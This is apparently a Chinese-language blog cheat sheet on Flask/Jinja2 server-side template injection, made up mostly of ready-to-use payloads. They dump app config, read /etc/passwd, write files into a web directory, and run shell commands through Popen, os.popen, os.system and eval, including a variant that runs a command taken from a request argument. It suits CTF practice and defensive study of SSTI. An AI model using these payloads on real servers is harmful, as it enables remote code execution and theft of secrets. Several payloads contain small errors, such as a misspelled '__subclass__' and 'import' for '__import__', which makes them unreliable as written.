Flask Jinja2 SSTI

首先来看两个函数:

render_template和render_template_string

render_template()是渲染指定文件的

render_template('index.html')

render_template_string()是渲染一个字符串的

html = 'this is index page'

return render_template_string(html)

这种沙箱逃逸的解题思路,就是变量 -》对象 -》基类 -》子类遍历 -》全局变量,在这个流程中找到我们想用的模板函数


基本流程:使用魔术方法进行函数解析,再获取基本类,目标是寻找RCE或者文件读取。

__class__:返回一个实例所属的类

__bases__:返回类对象的基类所组成的元组(子类找父类)

__mro__:返回类组成的元组(获取MRO方法解析顺序),子类找父类


获取object对象的几种方式:

''/()/{}/[].__class__.__bases__[0]

''/()/{}/[].__class__.__mro__[1]

获取所有有用的class:

{{''/()/{}/[].__class__.__bases__[0].__subclasses__()}}


判断是否为Flask模板:

{{3*3}}

{{config.items()}}

{%debug%} //前提是开启了debug模式


获取config信息:

{{config}}

{% for key,value in config.items() %}

<dt> {{ key|e }} </dt>

<dd> {{ key|e }} </dd>

{% endfor %}


文件读取payload:

{{ ''/()/{}/[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() }}

{{ config.items()[4][1].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() }}

#https//github.com/pallets/flask/blob/master/src/flask/helpers.py#L398

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}


文件写入payload:

{{ ''/()/{}/[].__class__.__bases__[0].__subclasses__()[40]('/var/www/html/myflaskapp/1.php','w').write('hello') }}



**RCE:

{{ ().__class__.__bases__[0].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip }}

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

也可以通过warning来实现:

{% for x in ().__class__.__bases__.__subclasses__() %}

{% if "warning" in x.__name__ %}

{{ x()._module.__builtins__['import']('os').popen('echo 111').read()

{% endif %}

{% endfor %}

也可以把'echo 111'换成request.args.input实现动态执行(input=ls)


可以通过这种方式搜索我们想要的模板:

().__class__.__base__.__subclass__().index(file)

可以查到该模块的索引值。

贴一个大佬的脚本:

100%可以执行的globals:

xxx.__init__.__globals__


常用Payload:

python2:

读文件:

().__class__.__bases__[0].__subclasses__()[40](r'flag').read()

命令执行行:

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')

 可以查找到索引值

python3:

().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值